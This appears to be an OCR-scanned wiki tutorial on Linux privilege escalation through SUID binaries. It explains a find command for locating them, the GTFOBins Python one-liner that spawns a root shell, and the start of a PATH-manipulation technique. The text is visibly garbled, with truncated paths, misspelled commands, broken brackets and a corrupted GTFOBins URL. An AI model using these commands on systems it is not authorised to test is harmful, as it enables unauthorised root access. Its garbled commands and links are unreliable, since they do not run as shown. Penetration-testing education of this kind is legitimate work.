SUID PrivEsc Python

SUID PrivEsc Python

Some files has Permissions to be executed by any user with full permissions so that means that
you can execute a file and the file will execute as root.
So to escalate our privileges we need to search for the right SUID Permissions.

find / -type -f -user root -perm -4000 2>/dev/null

This will search for SUID permissions

find / -> search in all directories

-type -f -> search for a file

-user root -> for file with user root

-perm -4000 -> 4000 are the permissions for the SUID

2>/dev/null -> removes any output which is not matching our criteria

$ find / -type f -user root -perm -4000 2>/dev/null
JLlib/dbus-1.8/dbus-daemon-launch-helper
ib/snapd/snap-confine
i 64-1linux-gnu/1x
t/dmcrypt-get-dev
penssh/ssh-keysign
it-1/polkit-:

Snewuidmap
/newgidmap
fchsh
/python
fchfn
/gpasswd
/sudo
/newgrp

In here we see that /usr/bin/python can be executed as root. Let's exploit that with GTFOBins.

https://gtfobins.qgithub.io/gtfobins/python/
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SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to
access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to
run sh -p, omit the -p argument on systems like Debian (<= S5tretch) that allow the default sh
shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To
interact with an existing SUID binary skip the first command and run the program using its original
path.

sudo install -m =xs ${which python) .

./pythen -c 'import os; os.execl("/bin/sh", "sh", "-p"}'

$ ./usr/bin/python -c 'import os; os.execl("/bin/sh”, "sh",

Path Variable Manipulation

SUID bits can be dangerous, some binaries such as passwd need to be run with elevated privileges
(as its resetting your password on the system), however other custom files could that have the
SUID bit can lead to all sorts of issues.
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Permission On Files On Directories

SUID Bit User executes the file with permissions of the file owner

SGID Bit User executes the File with the permission of the group owner. File created in directory gets the same group owner.
Sticky Bit No meaning Users are prevented from deleting Files from other users.

To search the a system for these type of files run the following:
find / -perm -u=s -type f 2>/dev/null

Here we see where which “services” we are allowed to use with our account.


https://wiki.togogo.ch/uploads/images/gallery/2022-07/8iwimage.png
https://wiki.togogo.ch/uploads/images/gallery/2022-07/tGtimage.png
https://wiki.togogo.ch/uploads/images/gallery/2022-07/Bcuimage.png

Sdev/null

Sometimes it could be that for example “usr/bin/menu” command is displaying a menu where you
can check some system information. As this file runs as the root users privileges, we can
manipulate our path gain a root shell. Follow the example below.
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